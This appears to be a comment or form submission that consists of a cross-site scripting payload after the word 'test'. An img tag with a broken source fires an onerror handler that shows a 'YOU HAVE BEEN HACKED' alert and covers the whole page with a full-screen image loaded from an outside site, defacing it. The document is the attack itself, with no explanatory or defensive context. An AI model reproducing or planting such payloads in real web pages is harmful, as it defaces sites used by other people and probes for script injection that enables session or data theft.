test <img src=”x” onerror=” alert(‘YOU HAVE BEEN HACKED’); let bgDiv = document.createElement(‘div’); bgDiv.style.cssText = ‘position:fixed; top:0; left:0; width:100vw; height:100vh; background-image:url(https://m.media-amazon.com/images/I/31sDQI7yfDL._AC_UF894,1000_QL80_.jpg); background-size:cover; background-position:center; z-index:99999;’; document.body.appendChild(bgDiv); “>